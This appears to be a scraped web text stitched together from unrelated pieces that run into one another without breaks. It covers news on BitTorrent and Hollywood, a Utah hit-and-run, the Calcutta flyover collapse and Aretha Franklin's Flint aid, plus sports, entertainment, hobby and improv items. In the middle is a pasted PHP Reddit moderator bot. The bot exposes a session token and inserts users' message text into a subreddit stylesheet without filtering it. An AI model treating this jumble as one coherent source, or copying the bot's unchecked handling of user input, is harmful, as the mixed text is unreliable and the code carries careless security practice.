The technology maker enables users to send large data files over the internet, and has been associated for a decade with copyright infringement. The Pirate Bay, a BitTorrent user, was raided by Swedish police in 2006 based on allegations by the Motion Picture Association of copyright infringement. According to one tally, some 200,000 people have been sued between 2010 and 2012 for uploading and downloading copyrighted content through BitTorrent.
Hollywood studios have spent years and many millions of dollars to protect their intellectual property and worry that by teaming up with BitTorrent, Cinedigm has embraced a company that imperils the financial underpinnings of the film business and should be kept at arm's length.
"It's great for BitTorrent and disingenuous of Cinedigm," said the executive. "The fact of the matter is BitTorrent is in it for themselves, they're not in it for the health of the industry."
Other executives including at Warner Brothers and Sony echoed those comments, fretting that Cinedigm had unwittingly opened a Pandora's box in a bid to get attention for its low-budget release.
Unsurprisingly, BitTorrent rejects the characterization that it is an enemy of the entertainment industry or a purveyor of pirated content. Matt Mason, BitTorrent's vice president of marketing, told TheWrap the company is in the business of providing technology that enables users to move large files. He stressed that like a manufacturer of MP3s or VHS tapes, it has little role in deciding what kinds of content its peer-to-peer file sharing system is used for.
"We have never endorsed piracy," Mason said.
Also read: BitTorrent to Hollywood: We're Not Pirates – We Come in Peace
He said that the 170 million people who use its official software are primarily interested in accessing legitimate and legal sources of content, which should encourage studios to find ways to work with the company.
That massive user base is what appealed to Cinedigm when it agreed to offer the first seven minutes of "Arthur Newman" exclusively to BitTorrent users.
"Blaming BitTorrent for piracy is like blaming a freeway for drunk drivers, " Jill Calcaterra, Cinedigm's chief marketing officer said. "How people use it can be positive for the industry or it can hurt the industry. We want it help us make this indie film successful."
She said that the response has phenomenal. Since the footage was released Monday, Calcaterra said the sneak peek has generated hundreds of thousands of downloads. "Arthur Newman" stars Colin Firth and Emily Blunt and hits theaters on Friday. Cinedigm plans to do six more promotions with BitTorrent this year,
Mason said the company is meeting with studios to change their negative perceptions.
He noted there was still a lot of resentment within the industry to a service that has provided the technological means for sites with a loose respect for copyright like The Pirate Bay to spring up.
"We'll be working with all of [the studios] one day," Mason said. "It's really up to them how quickly they come to the table and realize we're not the villain, we're the heroes."
That day may be a little farther off than Mason would like.
"I really missed them being at the forefront of the piracy issue," the studio executive said. "I don't remember them going, 'Naughty, naughty, don't use our technology for that.' They don’t give a shit."Please enable Javascript to watch this video
WEST VALLEY CITY, Utah -- Police have identified the suspect who they believe caused a hit-and-run crash on Sunday.
West Valley City Police said Monday evening that Salt Lake City resident Dylon S. Cooke, 32, was believed to have fled a hit-and-run near 3450 South and 5400 West where bicyclist John Kinn died on scene.
Kinn's family made an emotional plea for justice Monday evening, as Cooke remained on the run.
"You got to own up to it, you can't keep running. You can't," said Kinn's son, Jason Simpson.
Simpson said his family and father had just enjoyed a day of bowling together on Sunday when he found out the news shortly after.
"He was really just... on the top of his life," said Jason's wife Jodi Simpson, of John and how he seemed when they saw him hours before his death. "I felt like I haven't seen him that happy in months."
They would soon learn that would be their last memory of John.
Jodi and Jason said they are angry at Cooke, especially after learning he has a lengthy criminal history.
Cooke's record spans numerous cases that date back more than a decade. The most recent court documents show an arrest warrant was issued for him last October, after he failed to appear in court on tickets issued last July of speeding, driving with a suspended license, and driving a vehicle without insurance.
"He clearly just didn't even care about [John's] life, didn't care about another person's life," Jodi Simpson said, of Cooke's alleged actions to flee the scene.
Cooke is about 200 pounds, between 6'0" to 6'2" with medium-length, dreaded black hair, police said. At the time of the accident, police believe Cooke had his hair tied in a ponytail.
If anyone has any information regarding the location of Cooke please contact West Valley City Police at 801-840-4000.As a means of addressing a food desert in West Baltimore, the Enoch Pratt Free Library is launching a program that will deliver groceries to patrons at the Pennsylvania Avenue Branch of the Baltimore library.
The "Books and Bread" program is a partnership between the library and ShopRite. City residents can order groceries at the library, and ShopRite will deliver the groceries to the branch at no additional cost.
“This is definitely an exciting program that spotlights a great community effort,” Melanie Townsend Diggs, Pennsylvania Avenue Branch manager, said in a release. “We hope patrons will visit the branch walk out with more than a book. But they leave the library with the current best-seller and bags of vegetables, fruits and much more. We take pride in this area. We are hoping the unrest from last year doesn’t define it and we are working with neighborhood leaders and other amazing partners to make sure we continue to make this community flourish.”
The program will offer "Online Shopper Assistance" from noon to 2 p.m. On Mondays, and 5 to 7 p.m. on Wednesdays.Untitled a guest Jun 19th, 2011 343 Never a guest343Never
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", $usrcss ) ; for ( $x = 0 ; $x < count ( $user ) ; $x ++ ) { $icon = $message [ $user [ $x ] ] ; $usrcss.= "
.author[href$='/{ $user [ $x ]}']:before {". ###YOURCSSHERE###. "}"; } $handle = fopen ( 'user_styles.css', 'w' ) ; fwrite ( $handle, $usrcss ) ; fclose ( $handle ) ; $ch = curl_init ( ) ; curl_setopt ( $ch, CURLOPT_COOKIEJAR, 'cookie.txt' ) ; curl_setopt ( $ch, CURLOPT_COOKIEFILE, 'cookie.txt' ) ; curl_setopt ( $ch, CURLOPT_URL, 'http://www.reddit.com/post/login' ) ; curl_setopt ( $ch, CURLOPT_POST, 1 ) ; curl_setopt ( $ch, CURLOPT_POSTFIELDS, 'op=login-main&user=#####&passwd=#####' ) ; // log in to moderator account curl_exec ( $ch ) ; $finalcss = file_get_contents ( 'non_user_styles.css' ). $usrcss ; // I keep all the non-user icon CSS in a separate file for easy combining of the two curl_setopt ( $ch, CURLOPT_COOKIEJAR, 'cookie.txt' ) ; curl_setopt ( $ch, CURLOPT_COOKIEFILE, 'cookie.txt' ) ; curl_setopt ( $ch, CURLOPT_URL, 'http://reddit.com/api/subreddit_stylesheet' ) ; curl_setopt ( $ch, CURLOPT_HTTPHEADER, array ( 'Host: www.reddit.com', 'Pragma: no-cache', 'Cache-Control: no-cache', 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8', 'X-Requested-With: XMLHttpRequest', 'Referer: http://www.reddit.com/r/anarchism/about/stylesheet' ) ) ; curl_setopt ( $ch, CURLOPT_POST, 1 ) ; curl_setopt ( $ch, CURLOPT_POSTFIELDS, "r=anarchism&op=save&thumbbucket=&stylesheet_contents=". str_replace ( array ( '%0D%0A', '%28', '%29' ), array ( '%0A', '(', ')' ), urlencode ( $finalcss ) ). "&uh=s2p0h5otgk692cf7bc7047bd116aa1178a883513bbe804dfd2" ) ; // that "uh" bit at the end is tricky; it's different per subreddit; I recommend using Firefox's Live HTTP Headers plugin to submit the stylesheet, then check the posted data to find your value and replace mine curl_exec ( $ch ) ; curl_close ( $ch ) ; $cur = time ( ) ; $handle = fopen ( 'last_check.txt', 'w' ) ; fwrite ( $handle, $cur ) ; fclose ( $handle ) ;?>
RAW Paste Data
<? error_reporting(0); set_time_limit(0); // just in case $ch = curl_init(); curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt'); curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt'); curl_setopt($ch, CURLOPT_URL,'http://www.reddit.com/api/login'); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, 'op=login-main&#####&passwd=#####'); // log in to icon bot account curl_exec($ch); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_URL, 'http://www.reddit.com/message/unread/.json'); $jsonresp = curl_exec($ch); // grab contents of bot's inbox curl_close($ch); $last_check = file_get_contents('last_check.txt'); // while not strictly necessary, reddit sometimes leaves read messages marked as unread, and so without this check you'd be wasting bandwidth by repeating a user's request $json = json_decode($jsonresp, true); $inbox = $json['data']['children']; $user = array(); $message = array(); for ($x = 0; $x < count($inbox); $x++) { $subtime = $inbox[$x]['data']['created_utc'] * 1; if ($subtime > $last_check) // kill this if statement if don't mind duplicates { $user[$x] = $inbox[$x]['data']['author']; $message[$user[$x]] = $inbox[$x]['data']['body']; } } if (count($user) == 0) // no sense continuing if there are no new icons die(); $usrcss = file('user_styles.css', FILE_IGNORE_NEW_LINES); // this, obviously, is where user CSS will go $declarations = count($usrcss); for ($x = 0; $x < count($user); $x++) for ($y = 0; $y < $declarations; $y++) if (strpos($usrcss[$y], $id[$user[$x]])!== false) unset($usrcss[$y]); // delete old declaration if the user already has an icon $usrcss = implode("
", $usrcss); for ($x = 0; $x < count($user); $x++) { $icon = $message[$user[$x]]; $usrcss.= "
.author[href$='/{$user[$x]}']:before {". ###YOURCSSHERE###. "}"; } $handle = fopen('user_styles.css', 'w'); fwrite($handle, $usrcss); fclose($handle); $ch = curl_init(); curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt'); curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt'); curl_setopt($ch, CURLOPT_URL,'http://www.reddit.com/post/login'); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, 'op=login-main&user=#####&passwd=#####'); // log in to moderator account curl_exec($ch); $finalcss = file_get_contents('non_user_styles.css'). $usrcss; // I keep all the non-user icon CSS in a separate file for easy combining of the two curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt'); curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt'); curl_setopt($ch, CURLOPT_URL, 'http://reddit.com/api/subreddit_stylesheet'); curl_setopt($ch, CURLOPT_HTTPHEADER, array('Host: www.reddit.com', 'Pragma: no-cache', 'Cache-Control: no-cache', 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8', 'X-Requested-With: XMLHttpRequest', 'Referer: http://www.reddit.com/r/anarchism/about/stylesheet')); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, "r=anarchism&op=save&thumbbucket=&stylesheet_contents=". str_replace(array('%0D%0A', '%28', '%29'), array('%0A', '(', ')'), urlencode($finalcss)). "&uh=s2p0h5otgk692cf7bc7047bd116aa1178a883513bbe804dfd2"); // that "uh" bit at the end is tricky; it's different per subreddit; I recommend using Firefox's Live HTTP Headers plugin to submit the stylesheet, then check the posted data to find your value and replace mine curl_exec($ch); curl_close($ch); $cur = time(); $handle = fopen('last_check.txt', 'w'); fwrite($handle, $cur); fclose($handle);?>A standout 2016-17 season saw Tyler Steenbergen establish himself as an elite CHL goal-scorer, drawing attention from the Arizona Coyotes who selected him in the fifth round of the 2017 NHL Draft.
The first Bronco to surpass the 50-goal plateau since Jeremy Williams back in 2004, Steenbergen helped put Swift Current back on the map after eight years deprived of a playoff series victory. The club’s first round pick in the 2013 WHL Bantam Draft helped push the Broncos past their in-province rival the Moose Jaw Warriors in seven games before taking the heavily favoured Regina Pats to the brink in the second round, coming up just short on the road in Game 7.
A native of Sylvan Lake, Alberta, Steenbergen’s stock has only continued to rise this season as he leads the WHL in scoring with 35 points including 21 goals and 14 assists over 14 contests.
“I think my game has taken some pretty big strides,” said Steenbergen, who models his game after Tampa Bay Lightning forward Tyler Johnson. “Personal success is secondary to team achievements though, and it’s been great to see Swift Current really get behind us after the fun we had in the playoffs last year.
“I think the team and the city really feed off each other. It’s an exciting time to play for the Broncos.”
Among the Canadian Hockey League’s smallest communities with no more than 17,000 residents, Swift Current will host Game 2 of the CIBC Canada Russia Series on Tuesday, a game that will feature two hometown stars in Steenbergen and Russian defender Artyom Minulin lined up across the ice.
While the two Broncos teammates have formed a friendship over their three years together, that all gets put aside when Canada and Russia go head-to-head.
“He’s had to work on his English a lot, but we have a lot of fun,” said Steenbergen of Minulin. “He has a great sense of humour. He can dish it out and he can take it,” he added with a laugh.
Playing in Swift Current has been quite an experience for Steenbergen, who recently had his own cheeseburger, aptly titled the “Steenburger” added to the concession stands at the Credit Union iPlex. The small-town feel has its benefits.
“Being here since I was 16-years-old, it’s been rewarding to see the steps we have taken as a team,” he reflected. “This is the kind of town where it’s so small that everyone knows each other. People recognize me on the street and want to talk about the game from last night, so I don’t think it’s the typical environment and definitely not something that every WHL player gets to experience.”
The Broncos are off to a 10-3-1-0 start in a competitive East Division that also includes rival Moose Jaw and the 2018 Mastercard Memorial Cup host Regina Pats. Swift Current hasn’t won an East Division title since 2001, but with talented forwards in Florida Panthers prospect Aleksi Heponiemi and St. Louis Blues pick Glenn Gawdin riding shotgun with Steenbergen, getting back to the top seems like an attainable goal.
“Our main objective is to be a part of things in Regina come May,” noted Steenbergen. “That’s our team mentality right now. Manny Viveiros has us playing really good hockey to start the year and the challenge will be to keep this momentum going.
“I think we have the right guys in our room to take us to where we want to be.”
Unlike many of his Team WHL teammates, Steenbergen has yet to represent Canada internationally and wasn’t among the 16 WHL players in attendance at Hockey Canada’s Summer Showcase this past August.
He’s treating Monday and Tuesday’s games as a showcase opportunity with Hockey Canada looking on.
“I’ve never had the opportunity to represent Canada before, but I’ve always wanted to,” he said. “It’s a goal I have been working toward and it’s been something in the back of my mind.
“You hear it all the time, but it’s what every kid dreams of.”
Tuesday’s Game 2 from Swift Current gets underway at 6:00pm CST/8:00pm EST and can be seen on Sportsnet Ontario, East and Sportsnet ONE.Your browser does not support HTML5 video tag.Click here to view original GIF
Kotaku East East is your slice of Asian internet culture, bringing you the latest talking points from Japan, Korea, China and beyond. Tune in every morning from 4am to 8am.
Taiwan’s Lin Yu-chun might be most famous for his rendition of “I Will Always Love You.” He sometimes appears on Japanese variety, showing off his incredible gift. Now he’s starring in a new Japanese TV show, showing off more than that.
Lin is starring in a new Japanese drama for streaming service dTV. Called Dosu-koi Musical, the show is like Glee meets sumo wrestling. According to Pouch, Lin plays a Taiwanese exchange student who is bullied because of his weight and decides to join the university sumo team.
There’s singing! Dancing! And sumo!
To contact the author of this post, write to bashcraftATkotaku.com or find him on Twitter@Brian_Ashcraft.A Dynamic programming is a method for solving a complex problem by breaking it down into a collection of simpler subproblems, solving each of those subproblems just once, and storing their solutions using a memory-based data structure (array, map,etc). Each of the subproblem solutions is indexed in some way, typically based on the values of its input parameters, so as to facilitate its lookup. So the next time the same subproblem occurs, instead of recomputing its solution, one simply looks up the previously computed solution, thereby saving computation time. This technique of storing solutions to subproblems instead of recomputing them is called memoization.
Here’s brilliant explanation given by Jonathan Paulson on Quora on concept of Dynamic Programming to a kid.
*writes down “1+1+1+1+1+1+1+1 =” on a sheet of paper*
“What’s that equal to?”
*counting* “Eight!”
*writes down another “1+” on the left*
“What about that?”
*quickly* “Nine!”
“How’d you know it was nine so fast?”
“You just added one more”
“So you didn’t need to recount because you remembered there were eight! Dynamic
Programming is just a fancy way to say ‘remembering stuff to save time later'”
In this post, we have list out commonly asked interview questions that can be solved using Dynamic programming –
Thank you for being with us. 🙂Well folks, we have some disappointing news, plain and simple. After a whole lot of thinking, talking, budgeting, and planning, we’ve made the difficult decision to cancel the Dresden Lives project. This wasn’t an easy choice by far, because we were looking forward to it ourselves! But at the end of the day, we feel like it was the only choice we could make, and we’d like to tell you about how we got to this point. It boils down to three key issues.
Dresden’s kind of a big deal.
The world of the Dresden Files is freegin’ awesome! It’s also big and complex and interesting, and we know how important it is to get it right. As fans of Jim’s books, we wouldn’t settle for anything less. That’s why Evil Hat’s Dresden projects have historically taken more resources, manpower, and time to bring them to press. Of course we bring our A-game to all of our material, but in this case the novels are so full of chlorofiends and reanimated dinosaurs and Denarians and things that we want to use in our games right now please, and it takes extra work to make sure that our version matches up with Jim’s vision. Which brings us to our next point.
We need to plan better, and we’re working on that.
Evil Hat has grown by leaps and bounds, and we’ve got more projects on the table than we ever have. But over the past couple of months, we realized that we bit off more than we could chew. And that included multiple Dresden projects at the same time, with all the extra A-gaminess we needed to bring to them in terms of art production, editing, marketing support, operational support, and so on. As we continued to plan, we realized we don’t have enough A-game to bring to all our current projects, and bringing the B-game isn’t an option. Something had to go. Which brings us to our last point, sadly.
The Lives line is the most logical thing to go.
We’ve never wanted to be a one-trick pony, and that means branching out in new directions rather than being exclusively the Fate company. With that in mind, we’ve released a few board and card games, dabbled a bit with the Apocalypse engine, and partnered with a variety of folks to bring new cross-overs and new ideas to your table. We’ve already expanded into a lot of new territory this year, and adding another is going to make it even harder to bring the A-game. Because we haven’t yet brought a LARP into market, that’s the most logical cut. We need to work to develop our current territory before we forge forward again.
So what does this mean for Dresden Lives? After all, aren’t the lovely people at Phoenix Outlaw running it already? Yes, they are, and we hope they’ll continue to run events as a fan work like they did in the beginning. Stay tuned to their site for updates! We have nothing but love and respect for Shoshana and Josh and all their people at PO—designing LARPs is hard! We had no idea how hard it was until we dug into it. At the end of the day, this was a business planning decision. A tough and poor-tasting one, to be sure, but one we felt we had to make in order to insure that every product we put out there is as good as it can be.
As for the Lives line in general, we may look into it again sometime in the future when we have the resources to—you guessed it—bring our A-game. You can bet that we’ll let you know if that happens.Calcutta, March 31: A flyover under construction for seven years, which chief minister Mamata Banerjee had forced on the fast track last November, collapsed this afternoon, crushing at least 21 people and sending shockwaves through the city.
Twenty-five people were admitted to hospital with injuries and a search was on late into the night for any more survivors trapped in the rubble outside Ganesh Talkies in Burrabazar.
The flyover runs along Vivekananda Road heading west, with one arm swerving left towards Howrah bridge and another right towards Nimtala. On a 40-metre stretch on the Howrah-bound flank, casting between two piers had continued through last night until noon today. This stretch came crashing down shortly after noon, pulling down with it beams on the other flank and twisting pillars like ribbons in some places.
Mamata cancelled her election meetings in Jungle Mahal and rushed back to the city, promising action against the "guilty" and launching an attack on the Left Front under whose rule work on the flyover had begun.
But the chief minister's own rush to open the flyover came under the scanner as engineers suggested that haste to complete the project might have contributed to poor supervision or workmanship that caused the crash, flattening over a dozen trucks, cars and autos.
Last November, The Telegraph had reported that engineers working on the flyover - which had missed eight deadlines in six years - were flummoxed when Mamata announced at a Jagaddhatri Puja opening that it would be ready by February.
At that point, only 76 per cent of the work was complete. With just about six hours of work allowed in a day, between 11pm and 5am, the engineers had told this paper that there wasn't enough time to complete the project by February. As expected, the February deadline too passed and a new one was set for August.
A little after noon today, residents heard a rumbling sound and rushed out of home. "I thought it was an earthquake when my living room started shaking," said Amar Tiwari, who lives two buildings away on Kali Krishna Tagore Street. When he stepped out onto the pavement, he saw parts of the flyover coming down. "A chunk fell on a bus, then a stall and then the Posta police kiosk and the Kali temple... and then the whole area got covered in dust." A truck lay sliced by a metal beam.
Ashok Jain, a professor of civil engineering at the Indian Institute of Technology, Roorkee, who is familiar with Calcutta, said the congestion and traffic around the site coupled with an urgency to complete the project quickly may have contributed to pressure on the workmen and supervisors assigned the construction task.
"It would appear somebody forgot something," said Jain, who has over the past decade investigated six failures of various structures - bridges to transmission towers.
IVRCL, the Hyderabad-based company building the flyover, denied any quality or technical issues. "It's nothing but God's act," PTI quoted K. Panduranga Rao, group head, HR, as saying. Two IVRCL engineers are missing, he added.
But chairman and managing director E. Sudhir Reddy refused to comment and said: "We have to really see what went wrong." In the afternoon, the company's offices in Hyderabad and Calcutta were found locked.
A senior official of the Union urban development ministry said the Centre, which contributed funds for the project, had reservations about IVRCL from the start and had voiced these in a review meeting of the project. The company was later blacklisted by the railways and several states.
With elections due within days, a political slugfest erupted over the tragedy. "A blacklisted company shouldn't have got the project," Mamata said, passing the blame for the tragedy to the Left.
The Opposition, in turn, demanded the removal of state urban development minister Firhad Hakim who is in charge of the implementing agency, Calcutta Metropolitan Development Authority (CMDA).
For the CMDA, the second flyover crash in three years is a big loss of face. In March 2013, a portion of the Ultadanga flyover had collapsed into a canal. A former official of the CMDA said: "The contractor builds the flyover but it has to take into account the objections and advice of the supervisory agency."
Babul Supriyo, junior urban development minister at the Centre, said the ministry would review the flyover plan to see how it was approved by the UPA government in the first place. The Centre has partially funded the project.
A CMDA official who would not be named said the agency had considered removing IVRCL, but was not sure of finding a replacement when much of the work was done.
Engineers not associated with the project cited problems with the scaffolding and negligence as two likely factors for such a collapse. Since work had dragged on, the nuts and bolts may have become weak and could not take the weight of the concrete. It is possible no one checked the bolts, an engineer said.
Residents said several bolts came off the flyover around 10am and fell on vehicles on the road below. "Some of the workers were brought down around this time," said fruit trader Vivek Jain.
Another engineer with an infrastructure company said: "There are telltale signs when a scaffolding can't bear the weight of concrete, and basic monitoring can detect these. If the scaffolding can't hold on, then it will bend and nuts and bolts will come loose. One should immediately stop work and reinforce the scaffolding. But when in a hurry, such points can get ignored."DETROIT - Aretha Franklin, the Queen of Soul, says help is on the way for Flint residents.
Franklin is looking to provide nightly rooms for 25-50 people at the Courtyard Marriott in Southfield with food and beverage provided by the nearby Coney Island.
Flint residents will be pre-screened at her father’s church in Detroit, New Bethel Baptist Church, beginning Wednesday, Feb. 3 through Friday, Feb. 5 from 11 a.m. to 5 p.m.
New Bethel Baptist Church is located at 8430 Linwood at Philadelphia Street.
"It's from 11 to 5 daily, starting at the church," Franklin said. "There will also be a per diem to go along with the rooms overnight at the Courtyard Marriott in Southfield."
Franklin said some people may get to stay for a couple days if they have children.
"Otherwise, it's an overnight deal," she said.
To register, residents of Flint are required to bring proof of home ownership, mortgage, monthly statements or rental papers. State ID or driver's license as proof of identity is also required.
"Detroiters usually come to the aid of Detroiters -- and Flint is certainly regarded as Detroit," Franklin said to Local 4. "Hang in there."
What’s next for Aretha? She’s working on a line of food that she promises to rival those “other” sweet potato pies. She’s gearing up for her FIRST flight in 33 years and rehearsing for her upcoming concert at Ceasars Windsor on Feb 13th.
For more details on all of that, tune in to Local 4 News Today Wednesday, Jan. 27 at 6 a.m.
Copyright 2016 by WDIV ClickOnDetroit - All rights reserved.Earlier today, it was reported that tight end Charles Scarff was transferring out of Rutgers football. The news wasn't a shock. What Rivals is reporting about another player this afternoon is though:
I have confirmed that freshman LB Jon Pollock will be transferring out of #Rutgers https://t.co/ZShJjtLsbd — Bobby Deren (@BobbyDeren) July 14, 2016
Pollock, who originally committed under Kyle Flood, was a leader of the 2016 recruiting class throughout the process. He played a key role in keeping many recruits to stay committed to Rutgers after Flood was fired. He seemed even more excited about his future at Rutgers after meeting with Chris Ash for the first time. He posted this back in December on his twitter account:
Honored to be the 1st player that Coach Ash visited. Can't wait to play for him. Ready to go now #AshEra #CHOPNation pic.twitter.com/6ECZouk9df — Jonathan Pollock (@kingpollock) December 9, 2015
Pollock enrolled early during the spring semester and was thought to have a chance to play on special teams this season. Instead, Pollock has apparently decided Rutgers football is not what is best for his future. The 3-star linebacker committed to Rutgers back in October 2014 just before the Michigan game. What is next for the Florida native remains to be seen.
Keith Sargeant of NJ Advance Media spoke with Pollock's father Thursday evening and he had this to say about his son's departure:
"He loves Rutgers,'' Al Pollock said. "He loves Chris. He loves his teammates. He's going to miss them. He was committed there for a year and a half and he loved his time there. It just didn't work out.''
Pollock joins Scarff, tight end Anthony Folkerts, and safety Davon Jacobs as players to transfer out of the program since Ash and the new coaching staff took over. Defensive End Marques Ford also transferred out of the program, but it was right before Ash took over. It's actually a small attrition rate for a new coaching regime, although with two transfers reported today, perhaps the list will continue to grow. Whatever the reason, we wish Jonathan Pollock the best of luck in the future.An exclusive Defender pedal car concept is making its debut at the Frankfurt Motor Show.
The scale Defender will help celebrate over 60 years of the vehicle's production and is styled on the current, full-scale Defender.
The pedal car concept has been meticulously hand built in the UK and the exclusive version on display at the Frankfurt Motor Show has been constructed precisely to scale to incorporate all of the Defender’s distinctive characteristics such as protective chequer plate, cylindrical running bars and rugged off-road tyres complete with mudflaps, all helping to retain the vehicles traditional design characteristics. It also has authentic interior details featuring leather finish with trimmed seats, steering wheel and rear stowage.
The concept’s mechanical operations have not been overlooked meaning young drivers will be able to pedal both forwards and backwards thanks to the drive assembly while a spring suspension and working brakes – complete with parking brake – will allow the little one to go on many big adventures.
Jaguar Land Rover’s Director of Branded and Licensed |
it’s on TV, so immediately they’re flopping all around, and moving, and running, and jumping. So that’s what I tried to do more of, the second time around, is get a lot more physical. That was the main adjustment I had to make.
Obviously the show is all short-form, but did you ever find yourself drawing upon your training as a long-form improviser? Any principles that became relevant during the process?
It’s still just listening and reacting. You’re told by Fred ahead of time what your role is going to be. I usually was the third or fourth person in the scene, which means I had more time than anyone else to figure out what I was going to do. But still, I can’t get so locked into a choice that it negates everything that they’ve been doing, so it’s a lot of listening on the sidelines. And clarity. Gift giving and gift-receiving. Clarity of choices right away. There’s no time for a half-assed choice.
Was it pre-decided that you would be one of the walk-ons?
Yeah, and that’s partially for camera. The games are all kind of blocked out for camera. “This game will start out with Wayne and Jonathan, and then Colin enters, and then Craig enters.” And then we would get our suggestions from Fred Willard as to what characters we would be when we entered. So there is still some leeway of choices within that, but the structure of who would enter was always kind of mandated.
How directed is the show? I know on behind the scenes on Whose Line, Dan Patterson would sometimes walk out tell them to repeat a game. Is he pulling the strings or is it more performer-driven?
It’s pretty performer driven. We shot way more games than we’ll use and way more celebrity interviews than we’ll use. Sometimes it seemed like Fred was talking to them for what seemed like 10 or 15 minutes, mostly just to get the celebrity warmed up, and to get the audience warmed up as well. There were never any audience suggestions – everything came out of the celebrity interview. We would usually take the interview, without 10 games interspersed. And then at the end, Dan Patterson would come in and suggest a few different games to play. Usually more musical stuff. But other than that, he didn’t interfere very much during the taping.
What was your favorite moment from working on the show?
Apparently for the promo they’re using me as Ozzy Osbourne. I haven’t seen the promo yet – my mother kept calling to tell me she saw it during the NBA finals. And that was actually my first entrance in the show. I was just sweating buckets waiting to go in. I was so nervous. And Kelly and Jack Osbourne were the guests, and for the first scene, I remember Fred saying, “And Craig, you’ll come in as Ozzy.” And I was like, I don’t know if I have an Ozzy Osbourne. But I’m pretty familiar with him, I used to watch his show all the time, I’m a big fan of his music, so I think I can do it. And it got a big laugh. So I think getting over that first hurdle to know that I can get laughs like I do live on stage at iO or UCB or Second City, and doing it with these guys on TV – who I watched on TV – it’s still pretty much the same thing. So I think that assuaged some of my fears.
Many improvisers tend to think shows like Whose Line don’t give a good impression of what improv is. But without those shows, most people in the country wouldn’t think improv was anything more than stand up comedy. What do you think of the improv on TV as a representation of the improv community?
I’ve been doing improv for 23 years, and in the time that I’ve done it, it’s gone from, “Oh, you do stand up,” to “Oh, like Whose Line Is It, Anyway?” to “Oh, do you do stuff at iO or UCB?” The general public is much more familiar with it now. They’re making fun of improv on The Office and The Simpsons and Family Guy as improv in the theater, you know, taking an improv class or an improv corporate workshop. Those things have been mocked pretty regularly now. Pretty much everyone in America now has seen an improv show or taken a corporate workshop, or they have some basis in what it is, and Whose Line is a big part of that.
When I first heard the pitch for this show – anecdote inspired improv – I have to admit it sounded a bit like ASSSSCAT or the Armando Diaz. Do you think there could ever be long-form on TV?
That’s what I thought it would be at first too, when the show was first pitched to me, I was like, “Oh, that’s Armando, or ASSSSCAT.” UCB has done ASSSSCAT on TV a couple of times. I’ve always been of the mindset that improvisers should be on TV, and I think improv should be on TV in controlled conditions. I think the long-form that we know and love in front of live audiences is a beast of the live theater. And I understand why it hasn’t quite worked on TV and why networks are reluctant to pick it up. But you look at a show like Comedy Bang Bang or Portlandia – those shows work great. You just need to come up with a structure that’s TV-friendly and hire great people and let them roll. But in terms of the pure theatrical kind of improv, I think it works in the theater because it’s very much of its time and of the moment, and it’s based on the audience being there and watching it being made up before their eyes.
Do you think improv has crossed that tipping point and is now accepted viable, mainstream entertainment?
Yeah, I think it’s been accepted. The fact that it’s been mocked shows that it’s been accepted. We don’t have to explain what it is anymore. As far as I knew when I was in college, I was in one of the few college improv troupes. Now, every college has multiple improv troupes. High schools have improv troupes. Every city has some kind of improv community. And the big cities have dozens of improv theaters.
So what’s the next step for the improv community?
Because Chicago’s always been at the forefront of improv, that “second city” mentality – not Second City the theater, but that underdog complex – has always been tied in to improv. There is that humility you need as a performer. But I think we’re realizing that you need that mix of cocky-ness and humility, get it in perfect balance, to know that it’s not about you, but to also know that you have something to offer that’s unique that nobody else has to offer. I think UCB has already been heading this way. I just want improvisers to get more media savvy and industry savvy without compromising their principles as improvisers. I think slowly but surely the industry has been trained to understand what improv is and what people are bringing to the mix that makes them different from a non-improviser. I think we just need to keep stepping up our game.
Erik Voss is a writer and performer living in Los Angeles. He performs with his improv team The Cartel at the iO West Theater.About
Press: Special thanks to all the websites and writers!
KitGuru.net - "The idea is wonderfully simple: Choose a colour for the aluminium base and the actual holder section, plug in your old graphics card and, voila, you have your very own desktop art!"
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Mega-Labs.com
Why did I make Display-z?
Display-z all started as a personal project for myself. Nearly six months ago, I was reading an article naming the greatest value graphics cards of all time. Some of my graphics cards made it others didn't. After reading I started wondering where my old computer was. Was it rotting in a landfill somewhere or collecting dust in my attic. Luckily for me it was just collecting dust in my attic and I decided to bring it out and take a look. I pulled off the side cover and after the dust cleared, I was happy to see everything intact and still looking great.
My rescued Voodoo 3 2000
Instantly I got a rush of memories from years of using this computer. Getting home from school on Friday, turning on my computer, and playing great games until Sunday night. Games that I had played and completely forgotten about until I saw my old computer again. Simcity 3000, Dark Forces, Half Life, Diablo 2, Counter Strike, Jedi Knight and Mysteries of the Sith, Baldur's Gate 2, StarCraft, EverQuest, Dark Ages of Camelot, Dungeon Siege, Carmageddon, Quake 3, and Grand Theft Auto 2. All of these memories and games I played that I had forgotten were completely brought back to life at that moment. After that I couldn't just leave my old hardware up in the attic to rot. I wanted to bring it out and help remind me of those good times. Problem was I didn't really have the space to display the whole computer. I decided just to take out my Voodoo 3, simply because the graphics card for me is really the most important piece of computer hardware. I wanted to display my card and started looking online for a solution. Vendor displays, trade show displays, personal displays, and nothing existed. After giving up looking for a solution, I decided to make my own and Display-z was born.
What are Display-z?
Simply put, Display-z are a simple, affordable, and stylish way to show off some of your most beloved and best looking computer hardware. Over the course of a six months every detail has been scrutinized and refined into a 4th generation prototype.
Display-z Options
My original goal for Display-z was to make a display stand for my agp graphics card. When I decided to manufacture and market Display-z I knew I needed to have more options to help me reach as many people as possible. After all was said and done their are 72 options to choose from! Let's look at all of them.
Base/Connector Types
Dual Slot+ PCI Express x16
The Dual Slot+ x16 Display-z is used for larger pci express graphics cards. Newer generation graphics cards have massive aluminum and copper heatsinks. All that extra weight makes the cards very front heavy and makes them more likely to tip over, when used with my Single Slot x16 Display-z. Adding the extra width was essential and makes the base very sturdy, even with large graphics cards.
Single Slot PCI Express x16
